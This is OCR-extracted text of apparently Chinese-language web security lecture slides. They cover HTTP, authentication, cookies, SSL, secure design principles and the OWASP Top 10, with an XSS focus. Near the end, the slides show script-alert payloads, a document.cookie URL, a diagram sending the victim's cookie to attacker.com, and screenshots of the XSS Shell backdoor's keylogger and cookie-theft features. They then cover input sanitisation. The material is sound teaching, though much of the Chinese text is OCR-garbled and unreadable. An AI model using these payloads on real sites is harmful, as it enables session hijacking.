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Figure 19. Easily exploitable vulnerabilities by type
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M - Mass defacement (click to view all defacements of this IF)
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Time Attacker H M R 3 Domain os View
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2009/12/15 DezthSyStem 2 . .
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» Java Sc
»CSS?
»DHTML ?
» XML ?
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»>C ~ C++

» Perl

» Shell Script ...

> PHP

»Java 2 JSP ~ Applet ~ Servlet

» ASP

» .Net 2> ASP.NET ~ C# ~ VB.NET...
» PYTHON

> Ruby



FRGEERELZR

» Microsoft Internet Information Service
(IIS)
v'PHP -~ ASP ~ .Net ~ CGI

» Apache
v PHP - PYTHON -~ CGI

» Tomcat ~ Resin ~ JBOSS ~ WebLogic
v’ Java

» Ruby On Rails (ROR)
v'Ruby



Web Server @ DMZ

Internet D—
J /: '
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HTTP Request

a____

HTTP Response
'/ﬁggﬁ

=/ ==

- 72 cookie
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a4

.2

-OS
- AR

DB Server @ Intranet
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Protocol Position

»HTTP - HyperText
Transfer Protocol

Communication System (Web Browser)

ERRGBE [
o [ HTTP Message |
vRFC ; '
1945 Tmns{’?(?lgg | TCP | HTTP Message |
— 2616 ° 2617 e | TGP Segment |
— 2965 Imerﬁ;; [IP]  TCPSegment |
| |
\/BOOk . r HTTP e | IPDTrﬂm |
Essentials 5 (2001) ronoiogy B wosmgam 7

ns?

- Stephen Thomas o | network packet/frame |




HTTP Request Format

@ )

[Method] [URL] [Version]
[Header]: value

— Header

\n (F[EHEE—7T)
[Data] (Optional)

Bod
e ) o




HTTP Request Format

e CERANEEE R

GET /main/index.aspx HTTP/1.1

Accept: */*

Accept-Language: zh-tw

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6;
NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR

3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MSN
OptimizedIES;ZHTW)

Accept-Encoding: gzip, deflate

Proxy-Connection: Keep-Alive
Host: www.isecutech.com.tw

Pragma: no-cache

Cookie: _ utma=232091143.867869796.1244101550.1249441651.1249542945.41;
_utmz=232091143.1244101550.1.1.utmccn=(direct)lutmcsr=(direct)lutmcmd=(none
); _ utmb=232091143; _ utmc=232091143;
ASP.NET _Sessionld=b3ysSm45tfsh1iS5hzhkenfw

29



HTTP Request Format

FEp B BEANRE

POST /user/login.htm HTTP/1.1

Referer: https://member.ruten.com.tw:443/user/login.htm
Content-Length: 69

Content-Type: application/x-www-form-urlencoded

Host: member.ruten.com.tw

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR
1.1.4322)

Pragma: no-cache

Cookie: _ utma=1.1668397861.1187588741.1187588741.1187588741.1; _ utmc=1;
__utmz=1.1187588741.1.1.utmccn=(direct)lutmcsr=(direct)lutmcmd=(none);
__utmb=1; __utmb=1

userid=777-777-1911form %40value777.com&button=%b5n % a4J &userpass=admin

24



HTTP Response Format

@ )

[Version] [Status]
[Header]: value

— Header

\n (F[EHEE—7T)
[Data] (Optional)

Bod
e ) o




HTTP Response Format

>§E'f§'] . cc.k /\”(‘ﬂﬁ‘b"é‘ﬁ

HTTP/1.1 200 OK

Date: Thu, 06 Aug 2009 07:20:36 GMT
Server: Microsoft-11S/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private

Content-Type: text/html; charset=utf-8
Content-Length: 119260

<html xmlns="http://www.w3.0rg/1999/xhtml''>
<head>
<title>Information Security ........

26




. > WebProxy : BurpSuite  Demo = ....

hurp intruder repeater window  help

(target rproxy rspider rscanner rintruder rrepeater rsequencer rdecoder rcomparer rcomms ralens |

(intercept roptions rhistor\r |

Filter: hiding CS5, image and general hinary content

* host method LURL params| mod | status | length | MIME type | extension title S5L IP cookies time
1 hitp:ffwewe isecutech.co.. |[GET  limainfindex.aspx [] [] |200 119557 [HTML aspx Infarmation Sec...| [ | |60.250.161.21 |ASP.N.. [T°F 06:40:15
3 hitpcitweeey. google-analdi.. (GET furchin.js L] =] 200 22929 |script s ™| T4125153134 T 06:40:16
a4 hitpeitwreen izecutech.co..  |GET fimagesiha_rightjpg L] =] 404 17495 HTRL [[als] The page cann... L] B0.250.161.21 T 06:40:18
Bl hitp:fipagead? googlesyn.. |GET Ipageadishow_ads js [] L] |200 36650 |script S [ ] |64.233.189.165 T 0640018
B4 hitpefipagead? googlesyn.. |GET Ipageadiexpansion_embed.js [] [ ] |200 46356 |script g [ ] |64.233.189.165 T 06:40:20
65 hitpeiipagead? googlesyn.. |GET Ipageadirender_ads js L] L] 200 675 script =3 L] B4.233189.165 T 06:40:20
[al3] hitpefigooagleads.g.doubl... |GET Ipageaditest_damain.js ] ] 200 484 script s ] B4.233189.1456 T 06:40:20
i) hitpefigoogleads.g.doukl.. [GET Ipageadiads?client=ca-pub-62138538252881328dt . [v] [ ] |200 10011 |HTML [ ] |64.233.189.156 |test_c.. [T 06:40:23
To hitpefinagead? googlesyn...|GET Ipageadismar.js [] [ ] |z200 3229 script ik [ ] |64.233.189.165 T 06:40:26
74 |hitpifien.asmag.com GET fasmiimages/info.ico [] [ ] [400 168 L ico [ | |E0.250165.210 TFF 06:40:29

request | response

headers

params

GET imainfindex.aspx HTTRM A
Accept imagefgif, imageljpeg, imageipjpeq, imagefpipeg, applicationf-shockwave-flash, applicationf-ms-application, applicationf-ms-xhap, applicationvnd. ms-xpsdocument, applicationtami+xml, applicationivnd. ms-excel,
applicationiend ms-powerpoint, application/msword, 5%

Accept-Language: zh-ta

User-Agent: Mozillard .0 (compatible; MEIE 8.0;Windows MT 8.1; Tridentid 0; GTBE, MNET CLR 1.1.4322; MET CLR 2.0680727; MET CLR 3.0.4806.2152; MET CLR 3.5.30729; OfficeLiveConnectar.1.4; OfficelivePatch.1.3; M3
QptimizedIES,ZHTY)

Accept-Encoding: gzip, deflate

Froxy-Connection: Keep-Alive

Host: wanw isecutech.com b

Cookie: __utma=232091143 8678697961 2441015501 249542045 1249552130042, _ utmz=232091143.12441015580.1 1 utmcen={directutmesr={directijutmemd={none}

I | 0 matches

1 |tz (&l




Request : Method

4 # ZER

GET Hlﬁffﬁ% 3 R

POST ¥ ER 2R B (2 R)
CONNECT | #4T3i# &% (>proxy)

HEAD 1€ B 43 15 .89 Header W &
OPTIONS 7| F AR 55 X% é’JMethod
TRACE BAF 218 38 EAR G T R @
PUT &ﬂ#éﬁé’ﬁﬂ&%l‘_
DELETE MIFR ) AR 25 £ 2 48 &

G O



»HTTP/1.0 example —
GET /HTTP/1.0
Host: www.google.com
\n

»HTTP/1.1 persistent
connection example —

GET / HTTP/L.1]
Host: www.google.com

Connection: Keep-Alive

\n

o R

l ’..-'-'---_____-_‘_‘_\_\_'\—
TGP SYN, ACK o

~© ik >
i,

S

,.,-—""'—)—._.___ ~
€ H1TP Request

I-.rITTP Responseo
f'“'_h,//
. Tcrrin @
F'J
€ 1crrinack

4




» Login example —
POST /login.asp HTTP/1.1
Host: www.google.com

Content-Length: 21 ‘

\n
username=abc&test=123 ‘
g J

Y

21 characters



POST with URL Encoding

» Login example —
POST /login.asp HTTP/1.1
Host: www.google.com

Content-Type: application/x-www-form-urlencoded
Content-Length: 33

\n

username=%61% 62 % 63&test=%31 % 32 % 33
N— _/

33 characters




» Banner grabbing by telnet
» Sending “HEAD / HTTP/1.0” to www.hinet.net port 80

o R T IL

HITP-1.1 288 0K

[] = 3 FIRLY [ =20 =

Server: Apaches2_BA.63 <Unix)

Last—Modified: Tue,., @3 Mov 2007 BA:57:24 GHT
Accept—Rangez: hytes

Content—Length: 9627

Cache—Control: max—age=3600

Expirez: Tue, B3 Mov 208% A3:38:56 GHT

Jary: Accept—Encoding

Connection: cloze

Content—-Type: textshtml

C:~Documents and Settings“fredwengl




OPTIONS

go cancel host |ww.dwiew.cnm_1_w |
= - port |20 [ JuseS5L
request

l’raw rheaders rhex |

QOFTIOMNS FHTTRMA .0
Hostwaanan o cvigst carm tw

response

l’raw rheaders rhex |

I_ HTTRPM.0 200 0K

Server: Microsoft-l15r5.0

Ciate: Thu, OF Jan 2010 02:39:58 GMT

ME-Author-Yia: DAV

Content-Lenath: 0

Accept-Ranges: none

DASL: =DAV s0l=

DAV 1 2

Public: OPTIOMS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIMND, PROPPATCH, LOCK, UNMLOCK, SEARCH
Allowe: OPTIOME, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, URLOCK

Cache-Control: private




Headers : General

% 4% Z2ER
Connection z%é}?i;? il

(explicitly close ~ persistent connections)
Content-Type Body i % #2872 (MIME-Type)

Content-Length BodyW & &k & (bytes)

Note : This header is send for most static
documents, but not for dynamically generated
content °

Content-Encoding | Body ™ % &4 45 7 =,
Transfer-Encoding | Body g & 1% #; 7 5. (e.g. chunked)




Headers : for Request

7%

m
o
o oo
-

Accept BB BT H A A
Accept-Encoding | | % 25 7T 4 < 89 Body W & & 42 455 7 =\,
Accept-Language | %] % %5 T #: < 89Body N 535 2 %4 7 2\
Cookie 122 cookies 14 3b X

Host B8 % 2 493k (IPkDN)
If-Modified-Since |#&#lcacher & &) & 244

Refer 1Az &

User-Agent BB SR




Headers : for Response

4% FEE

Date fE) AR 35 b B3 i

Server f3) AR 5B 2 WebiR 7% 2 X
Location BEmENEG B ey frak
WWW-Authenticate | 143833 F &,

Keep-Alive 45 12 47 2 3% & (Persistent)
Set-Cookie % £ cookie @] Ay %

X-Powered-By

BREREREZS

Cache-Control

Pragma

Expires

48 B Y A Bgcache 4] = b 4|
A B




Response : Status Code

Status Code x#& %

1 XX Information
2XX Success
3XX Redirection
4XX Client Error
5XX Server Error

> Reference :

v http://www.w3.org/Protocols/rfc2616/rfc2616-
sec10.html

v http://en.wikipedia.org/wiki/List_of HTTP_status_co
des




Response : Status Code

> % B, 8y Status Code
v'200 - OK
v'301 - Moved Permanently (Redirect)
v'302 - Moved Temporarily(Found) (Redirect)
v'304 - Not Modified (for Cache)
v'400 - Bad Request
v'401 - Unauthorized (Authorization Required)
v'403 - Forbidden
v'404 - Not Found
v'500 - Internal Server Error



r—%RE

WX ENREEREWE T

VEGRE: oA DAP AT

vV EBAN{E R EEE(Session) : RAF! > AP T
— Request/Response Model

— A BREREBRZBZEFABANE > KI5
% 18— db g5 ) o M ] RAL B
VIRH#EETHE RF ! 2 AP B
VEERERRS
—HeE R K !> SSL R#HBh
- RA!2AP AT #
—~- R BRMARAF! > AP g T



HTTP Authentication

GET /test.asp HITP/1.1

Host: www. example. com

EREZEEW: |G =
EREE: [
[ SREHRATEER

HTTP/1.1 401
Authorization Required

WWW-Authenticate: Basic

—
GET /test.asp HITP/1.1

5§ - Host: www. example. com

o - Autl.101:1zat10n: Basic
R E): [+ YWJ JOJEYM —
[~ EIEFHAEER L == '
i

HTTP/1.1 200 OK



HTTP Authentication (cont.)

> Header :

v'Response
— 401 Authorization Required

— WWW-Authenticate: [Mech]
» —f# [Mech] 77277
> Basic
> Digest
> Integrated (NTLM ~ Kerberos)

v Request
— Authorization: [Mech] value



» Encoding (4% %%) : Base64 - HTML Encoding

Py

» Hash (%&,fs\_&&) MD5 - SHA1
f(data)

* Theinput can be of any length.
‘[ %zg{g] ' Tneine .

The output has a fixed length.
v H(x)is relatively easy to compute for any given x.
v H(x)is one-way.

Hix)is collision-free.

> Encrypt ( 7"7“ ) AES (http.//www.rsa.com/rsalabs/node.asp?id=2176)

f(data, key)

42



HTTP Authentication (cont.)

» Basic

v'Base64 encoding of {username:password}
VakHIERAMBRREER
v 5l S8 Bt A SSL w5 4% 3#

» Digest
v'Hash of password
VARAFERIS £H L& ER
V&L LR A X




HTTP Authentication (cont.)

» Integrated Windows Authentication

v’ A challenge/response model R & & A7 ¥ B A8
v R e F BB KA
v NTLM
- REHFRIS A LT R
— R 44 client 3% &) & 4 323%
v'Kerberos

— tb NTLM 2 B 22 (42 & L3 H1E FRF])

— Client 32 % Kerberos Server 48 3% IIS X #& ) —
18 domain = & /£ — 18 trusted domain.



Cookie

GET /test.asp HITP/1.1

Host: www. example. com

HTTP/1.1 200 OK

Set—-Cookie: UID=ABC

Cookie Table

Domain Path Name Value

www.example.com / UID ABC GET / teSt- aSp HTTP/ 1- 1
Host: www. example. com
Cookie: UID=ABC




Cookie

»in Response Header
v’ Set-Cookie: [NAME]=[VALUE];
path=[PATH];|expires=[ TIME];|

domain=[DOMAIN]

»in Request Header

v Cookie: [NAME1]=[VALUE1];
INAME2]=[VALUE2] ...

» Stored in Client Slide (per Browser)



Session

Cookie Table

Domain

Path

Name

Value

www.example.com

SESSID

0002

POST /login. asp HTTP/1.1
Host: www. example. com
Content-Length: 24

UID=XYZ&Password=pass932

HTTP/1.1 200 OK

Set-Cookie: SESSID=0002

GET /test.asp HITP/1.1
Host: www. example. com
Cookie: SESSID=0002

SESSID: 0001

UID=ABC




Session

» Stored in Server Side (per User)
> A% E M

v'URL Parameter

v'Hidden Form Data Field

v Cookie
FE e &Jcookie % &

v PHPSESSID

v ASPSESSIONID

v JSESSIONID

pr



» HTTP+ SSL(Secure Sockets Layer)

v'SSL is designed to encrypt “any” TCP/IP

based network traffic
- B
- BRHEEREE
- ERREBEREFTFILGRE (ZE %)

HTTP LDAP IMAP .«

Application Layer
Network Layer

Secure Sockets Layer

TCP/IP Layer




SSL. Handshake + Secure Channel %'%

e

Client Server
. Supported SSL/TLS Version ~ Cipher -
CllentHe"O Method ~ SessionID ~ Random Data
Used SSL/TLS Version ~ Cipher -
Method ~ SessionlD ~ Random Data ServerHello
Chain of Certificate/Public Key Certificate
ServerHelloDone
<€
i Send client key encrypted
ClientKeyExchange by server’ s public key
ChangeCipherSpec Verify Cipher/Key >
Finished
>
< Verify Cipher/Key ChangeCipherSpec
Finished

ﬁ” <

i %

E\i}

Jre N2 4I

B8 50




Gmail Login using SSL

(= Gmail: Gooele B ST WPEES - Windows Internet Explorer

o i-"lhﬂps-"- google comvaccomntyTogintoontinue=http %34 FIF #2Fmail google com %2 Fmail %2Fe-11-252080 98d efa S 2bafdafB70900%a3-03b5d 71 21 310631 :V| % +4 [ X -"l tongl | -
. BRO SEO BROD HH8E0 IAD HEO x
e BRE M Omal Googk BHHETHERG | E’? HEh 28k Al B Cl- € (@ % \EO- Z2EO- =
_ - ; i 2 ]
‘ M ” FEsE Gmail GeoTrust CHFEEEREEH R
byGoogle www.google.com
Google IS i
o R LR RS EERBENE -
REFAEE  ANE - EEES  EEAENETEE - 8 Gmail 1 o G . .
i B mai 5« Gm 6 ST RS (b 7 COUSIC;‘ =
SO RS N _
B Google SIS + R EEME BT BN 0 ‘ B Gmail
_ AT | |
£ | | ERRE = 2% | |
| —f | B | BERRSE | [ fRSE A s
2N ERRED
e Creo Trost
EESRHER BT Gao Avthority 5T EATRE 7

« MECT R A A AR AOEH R

GO

Gmail FIFFHEE 7 REMEE R -

25 wywew. google com =TEEF »

BiTE: Google Internet Authority

RAF: Gmail  FrThes !

BHEA 200011413 B 20101113
RERAREE:
S EiEEE SR MR -
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e (]

= N W
Google o
M
Q\ AR T LREER S ST
[ BE®. || EEEmHw: | <2 ER v|
B _ | [BA | HibA | PeERER | SEOREREE |ZegoRne | TEEES
EINEREER 5 B i RE il -
A _ 24 BT AR AR
(&R L REE | EECO || | B $5320i WENZE  dEs
i Cratelkeeper Foot CA Cratelkeeper Foot CA 2014524 eaign Anztn
EE]‘_‘TEEE m enerie oo 1151 L enerie oo 1151 Ll '}W“” ﬁp'i‘lﬁnn Eni
% B e g GeoTrust Global CA GeoTrostGlobalCA 202205721 GeoTrustcs
e - e e Trust Global Ch 2 Oeolrust Global CA 2 20100d  Geolmston
mEIEE R Greo Trust Pomery Certificatio...  GeoTrust Primewy Cerh... 20207717 Geo Trst
S E R SRR R R Creo Tzt T.Tn::wemal (Y.} Creo Tzt T.Tn::wersal Ca 2029024 GeoTmat T
FE @ L Intermnet Explorer B H Creo Trust Undversal CA 2 CeoTrust Universal CA 2 2029/34 GeoTmat T o,
iz =0RBEE - = =
& | ?
| BEAQ. || BHE. || BBRE | ERE )
IEEE{E M Be
iaiR RE=EE, A P ininch, 3BT EF, AT, BEEBiT
iR 00
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Check CA in the https://atm. bank. com. tw/

Certificate - —

Certificate + Public Key

—

Encrypted data by the
exchanged shared cipher
key

—

http://www. study-area. org/tips/certs/certs. html




Check CA in the https://atm. bank. com. tw/

Certificate - —

Certificate + Public Key

—

@ ZTHERRNE-
Ay EREREMEHETERS A E-TE -
EfRERE?

2o | | wwEEm




Security Warning

xR RE R -

A

L 2RSS T PR AL -T18 -

THEEs

HRERD |

CA DRRBIBESATEE

RELFAERBCHRA

1’ AN Common Namesh

R HE

R RET




> ¥ 3k 4 =SSL?
>SSL 8 B BANERA A LN E!

>SSLiEfER % A?

v £ B 288 % K € (Black Hat 2009) ¥ >
Moxie B % — £SSLSNIF T B » #£##(SSLi#
Se)P R ASE -

v % A B B T ASSL R A A 4= Twitter
(http://www.itis.tw/node/3355)







» External Systems are Insecure woeld - il DeMills
» Minimize Attack Surface Area W _hCai
> Secure Defaults T :__':‘ = 1Lﬂll|ﬂhillifl.’rll’ﬂt“
» Least Privilege )
» Separation of Duties
» Defense in Depth

» Fail Securely

» Do not trust Security through
Obscurity

» Simplicity

Saltzer, J. H., and Schroeder, M. D., “The Protection of Information in Computer System”,
Fourth ACM Symposium on Operation Systems Principles, October 1974.



External Systems are Insecure

v HTTP Message
— HTTP Header : ?
» Cookie ......
— HTTP Body(( £ F# -~ LK)
VARERSH
ViR EINTF RESHE NS

FPIRETA SR R BB A B AR
> URL Query Strings
» Referer
v Other Network Protocol Inputs
— #BRPCH R Web Service R B R4 %= R
V R E
v RRE Y 0 TR



External Systems are Insecure (con@%

> BEMEC:
B KABEEREZEAMGMA TR BHBIT

248 R 32
RIEF KX p e R0
AT R AT »SQL Injection
& O0SH;AT »Command Injection
BHREARXS > Code Injection
B i 20 AT B 5 B AT >XSS Attack
e AN E e >Malicious File Execution
»Insecure Direct Object Reference
ISR RGEY >4 MR

60



External Systems are Insecure (con@%

> ARE R RB AT AT E B Java Script RigE
v ig bR B AR T A% AR, 8 11!
— Rebuild Web Page
— Use Browser Extensions Demo = ....

— Use Web Proxy
— Write Program

> RT3 Bh S 0 R IM BT B

61



[
External Systems are Insecure (con@‘%

» Centralize Your Approach

Specific
Validation

Browser Specific Shared
or Service Controls Validation Valldfgltmn
Routines

Specific
Validation

Services




External Systems are Insecure (con@%

» Be Careful with Canonicalization Issues

VTR ERRGGIE R LB
— somefile.dat
— c:\temp\subdir\..\somefile.dat
— \somefile.dat

— €% 3A %SCtemp % SCsubdir % SC % 2E % 2E % SCso
mefile.dat



External Systems are Insecure (con@%

» Constrain, Reject, and Sanitize Input

Make
potentially
Allow known Reject known malicious data
good data bad data safe
Inp> Constrain \ Reject \ Sanitize >

Validate type, format, For example, stripping
length and range Null characters or
(Use regular expressions spaces
for string data)






> B A @ 2 R R
v kb
VERZR

U
v R4

— Slammer and
CodeRed 3% 3

— # #b SQL Injection
B F %

v B 4,38 38 B 47!




Secure Defaults

RSB ELAR LY
VRREBBE
v S 4 A H
VASHTRZHGRERIZEE

— Design ACLs into the application from the
beginning !

— Create your own ACLs during application
installation !



Least Privilege

» Run with just enough privilege to get the
job done, and no more!
v RN FBRAE TR
VRV FRTE R
v i b A BB R

= EhE ) %8 [t [
i FAIA ] dministrators Administrtors T 72 TR TR ER AR,
@ EitmiRs W5 Backup Operstors Backup Operators HEEE EiFin R EREENERT SR ET2 1R
HRHEHR W3 Distibuted COM Usexs REFRSEE - BRI LR ERE R L89B COM it -
=8 FAHERETIINE | et Coest IRIETEEHF User BERAORLS S RRBATEAUE © (B2 Guest NS BIRHIE S
COERE | @ Netvork Contignaton Opersors EEBRHA TS TMIFRRLFAEHER  REHERIEE
- Bl o | G Pertormnce Log Users RS TR A S A TR R
TELIREST | @rators Moo U HBRERART KRR R SR
| émif 82 | @rover U Power Users WP ARRA AR IR AHESEER - Bt TSRIDMERERIZ - ISR LI s TR RS,
o Eﬂﬁ;‘-‘i_ S Print Operators R ST LI e 4
HEEET & W3 Remote Deskiop Users EsEEEPHMS E R DERE A\
,i ] Rep]jnat:ur EERAE PR EER
o RRRERE |Gl Users B I B RA SR BANS ERREE - B PR LI TERIDWEAERIES,  F T A AEEIE..
HelpSewicesGroup R EDLEE

TelnetClients IEEHARIARS TP R T LD Tebnet {2AREE -




Separation of Duties

P TR RS ERSHL S A
/%Anﬁm%ﬁA E

(ﬂ

> R B
v’ Administrations <> Log Management
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Firewall

Web Server

Web AP Flrewall

Anti- Virus



Check security

Check security o—
Application.dll
Application.exe /
Secure \
resource
Check security W Act
®— s
Application.dll
®&— pp

Check security



Fail Securely

DWORD dwRet = IsAccessAllowed(...);
if (dwRet == ERROR ACCESS DENIED) ({
VaSeciischeck failed.

// THOEm Uscidlsncl acccssinsiNechin=ic!

} else {
// Security check OK.
What if
// Perform tashss ISACCGSSA”OWGd()
) returns
ERROR _NOT _

ENOUGH_MEMORY?




Fail Securely(cont.)

»Do NOT:
VEARBE REHHFRE
VEFME T ARRER
VR BERRSKE R

» Do:
VAGLEN—EREXNGRESKRE
v {& B exception handling blocks
Ve EMEALN AR




Do not Trust Security through

> LA B ARER “AR7 403k ......
VR EZSHEAHNTMLE
VinE KBRS BRENE
*ﬂﬁﬁ HEERALARKXE
;‘:’E%E'P&%&%Ei&ﬁﬁﬁ&% REMRE
» Do not edit source code online




Simplicity

r B2 AMRAAE
VERBEREER AT — A% LNy XA K A
V BEANRXRAERGLZANETA
v BRI BAHASA RN G% S

rEREAER |
vV R G sk
V5% B CLERAN

vV EREE ...

» Simplicity is Beauty !
v" Design Pattern ! Coding Standard !
v" Better for Code Reviewing 2 Easy to Find Security Flaws

v" Better for Code Maintenance = Easy to Fix Security Flaws
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Web Application Vulnerabilities
and Protections




FRLETHRBENSS

ksl BB
Aoz > —B—8
Fiat > Faod » FEHLHK -

(#TFEXE - FHHAR)




OWASP Pz

(http.//www.owasp.org/index.php/Main_Page) == *

» Open Web A S P
>

vV —BRBAAR - JEEAREs  BATSKARB T E LT
B HXZaRAAS MR AWebRBEEXTE - TAA
X RMBRIAABGHHRRXOCERBIAESHARAR
A EEH -

vV 2 EP:

- £BABAEHEZRFTO) ~ 2BBEABN > BREAFEHRS
PCIZ # o

vV BATAZERITTHE > & Rs s HOWASP Top 10(+
AWeb3sg ) » sA & WebGoat(RR It £ F)& F F 45 -~ Enterprise
Security API (ESAPI) - OWASP Guide Project %3t & > 43R
Rley kXM B ARITHHRARAR -




v Vv VY Vv VvV VvV V VY VY

Cross-Site Scripting (¥ 35 By & i %)

Injection Flaw (ZEA)

Malicious File Execution (£ &3] )

Insecure Direct Object Reference (4 4 88)

Cross-Site Request Forgery (¥ 34 B 3% £)

Information Leakage and Improper Error Handling ( &4k %)
Broken Authentication and Session Management ( 3238 % 3k )
Insecure Cryptographic Storage ( % & )

Insecure Communication ( T2 &R E)

Failure to Restrict URL Access (% 48 &)



OWASP Top10(2007)-1
Cross-Site Scripting




OWASP Top 10 (2007) - 1 Py,

) 4

- » Cross-Site Scripting
v CSS ~ XSS ~ ¥ 35 By o 8

CRLEARRE
VIEREHNRASBAREHRBAEERE
BEXREELAIRNBES o
-— - RHR
- =~EAKX
>Ii§%"l‘7’r'l LR EZNEE IR
%?EP)??%‘Q’J Script




R & XXSS&.47 : 4 F

Sign In | Contact Us | Feedback | Search Itrangacticn| l (30 ] =

2]

INSIDE ALTORD MUTWAL

Privacy and Sacurity

The 2000 employees of Altoro Mutual are
dedicated to protecting your privacy and security.
We pledge to provide you with the information
and resources that you need to help secure vour

Search Results

information and keep it «

promise.,
Mo results were found for the query:

transaction



R 4t X XSS $ 4]

(c

Sign In | Contact Us | Feedback | Search |~:ccr|pt>aler‘t(lllll~:

Wis

[ (50 l.

Search Results

Mo results were found for the query:

INSIDE ALTORD MUTUAL

Privacy and Security
The 2000 employees of Altoro Mutual are
dedicated to protecting your privacy and security.

We pledge to provide you with the information
and resources that you need to help secure your

information and keep it confidential. This is cur

promise,

_"X 1111

T2
T3
T
TS
TG
T
T8
79
g0
81
g2
83
g4

=Myidth: 993:">

<hl>Search Results</hlx>
<p>HNo results were found for the guery:<br
<2pan _ctld  ctl

A=

< fdiv>

lazs="khkh"s

f<br f
j_icztezt_Ha;n_;b;Sea:c:"}tscript}alerttllll}ﬂfscript

[i*

</ Epan></p>




BARXSSEHS : &

p’f 7R APPFW Demo Server - Windows Internet Explorex

@T\’j v | hip#102 168153130/ =] | #2 /[ | [coozt ol
e L L T T /2R APPFW Demo Server - Windows Internet Explorer j =1
Gougle| MR E- @j - |e] npoz168.153.150/ =421 x| [0z ol
WS (@ B APFFV Demo Server BRE BHE BR0 HOSEW TED 9O
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g
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0220l
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LG EIEAREL?
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#r B Cookie

<SCRIPT>Send Cookie to
attacker.com</SCRIPT>

http://www.victim.com.tw
/account.jsp? <SCRIPT>Send cookie to attacker.com

Victim.com

ZA Cookie




4 /s XSS 4

> 3% 8T A 89URL -

v' http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=<script>al
ert(document.cookie)</script>&search_title=1

Microsoft Internet Explorer

lang=ch-tw: _utma=270312759 484776273.1141230841.1152230213.1152233711.20;
!E utmz=270312759.1152196100.13 6 utmeen=(referral) hutme sr=i s e itmect=/blo g/htmemd =referral: a_page=1:a_uid=siell:
PHPSESSID=0454ecc5£280003ab007a 1£3dc541160;  utme=270312759;  utmb=270312759: COOKIETEST=TESTING COOKIE

> eRHEIRE  ERFEFHE
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S AR RART TR

> HHEBEEN
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fake URL [/URL]y ...
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XSS Shell

P README ixt - Sp285k

BED KEED BA0Q #EO FHAE
_________________________ ~
WHAT IS X33 SHELL ?
X835 Shell is a powerful XSS backdoor and XSS zombie manager. This concept was first presented by "XS5-Pr
It is a good way of bypassing the following protections:
- Bypassing IPF Restrictions
- WTLH / Basic fAuth or any similar authentication 5
- Session based custom protections
LICENCE
It is licensed under GPL, Check xssshell.asp for details.
FEATURES
%53 Shell has several features which can be used to gain complete access over the victim. The new versio
Host of the features can be enabled/disabled from the configuration section of the source code.
Key Features;
- Regenerating Pages
- This is one of the key and advanced features of X35 Shell. XS5 Shell re-renders the infecte
- Secondly this feature keeps the session open so even the victims follow an outside link fro
- Keylogger
- Mouse Logger {(click points + current DOM)
Built-in Commands;
Get Keylogger Data
Get Current Page (Current rendered DOM / such as a screenshot)
Execute supplied javaScri
Get Clipboard (IE only)
Get internal IP address (Firefox + JUM only)
Check victim's visited URL histor
Force to Crash victim's browser
b
< | >
a6 ELAT




XSS Shell (cont.)

B x5S Shell Admin - Mazilla Firefox
Ble. Edt Yew Higloy Qockmarks Tock  Help

{:-:i - < W= | ) o ocahosti60000 adiniDef aukasp
Commands Victims Logs

qetCookie]] B 1:7.0.0.1 / 273149 oo

Get victims active cookis 1, 69Z2E0TIS

p 2, ERZA3ISE43,
et ebfHtmlly B 127.0.0.1 / 340031 3, HIML - 199280388
Get victine's current page HTML Code [273149, 390031 4. HTML - 199577945
5. HIHL - 199879185

alert{<rmessage =] &, HIHL - 199764401
Sand message to victim 7o HTHL - 1929301529
4, HTHL - 199363306
ayall < fay Aacrint cogda s

Exadcube sirtually anything s 1=

promgkl < guestion >
Play Truth ar Dars

geteylngoerDatal)
el kavlpager data
Duana

e

Address |£] nttpocalhosk G 0000)sampleh SFctinTasdesdasdsf

L]

Mozilla Developer Network
| ﬂ Search “!L e

—

E

2| Ecllow me D't the rabbat

E Fo goodle [T keep yoar sesson open for gou 0F I
Hide Sidebar

I

: Related

Figure 2 : Sample XSS Shell Session



XSS Worm

»2005 : Samy Worm
v i &4t % 493 MySpace
vk
— 2 R % & 8 Profile ¥ € 85+ “Samy is my hero”
~2005.10.4 B > 20 A ARBE &K B

B Edd Yew PFyonks Jooe (pbem  Jook Hindow [ebp

- Q@ 2-i-8-G

#] hitpwww pucitzen coghblopthe-odkotam-vom

Cutting-edge Think tank | Ethical Hacker Oudfit

|! HE ORKUT XSS WORM I
blished: December 19th, 200
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BN s

> EIARE
vaiZE
VELE

set Reg = new RegExp

with Reg
Pattern = "["#:;()<>,=+ ]"
Global = True <<Script>.>. - ?/
end with <scr<script>ipt> ....?!

test = Reylace( Request.QueryString(“test”) , 7 )

?



f7 2 2 3. (cont.)

v'Packages & Resources

— .NET

> Microsoft Anti-Cross Site Scripting Library V1.5
(MSDN)(http://www.microsoft.com/downloads/details.a
spx?FamilylD=efb9c819-53ff-4{82-bfaf-
e11625130c25&DisplayLang=en)

— JAVA:

»>DeXSS -- Java program for removing JavaScript from
HTML (http://software.graflex.org/dexss)

>0OWASP Stinger Project (A Java EE validation filter)
(http://www.owasp.org/index.php/Category:OWASP_ St
inger_Project)

> How to Build an HT TP Request Validation Engine for
Your J2EE
Application(http://www.owasp.org/index.php/How_to B
uild_an_HTTP_Request_Validation_Engine for_ Your
J2EE_Application)




f7 2 2 3. (cont.)

v'Packages & Resources (cont.)

— OWASP ESAPI Project
> QOQWASP Enterprise Security API

> (http://www.owasp.org/index.php/Category:OWASP_E
nterprise_Security API#tab=About)

»Support Languages
»Java EE
> NET
»Classic ASP
»>PHP
» ColdFusion & CFML
> Phthon
> Haskell




by # & i%(cont.)

> # 4 & 34 : Sanitization(G§ &)
\/ﬁﬁ%ﬁ% .&-“)'-F,gd%% R “:é;.» ” 11
— Jo R & i FoH 249 R N &> HTML-Encoding

C# Example: Character HTML Entity
StringBuilder sb = new StringBuilder{ = &t
HitpUtility. HtmlIEncode(input)); ; &if_ﬁ;}.
sh.Replace{"&lt b&gt " "<b="); &qum;
sh.Replace("&it/b&gt: " "<b=") , &sbquo;
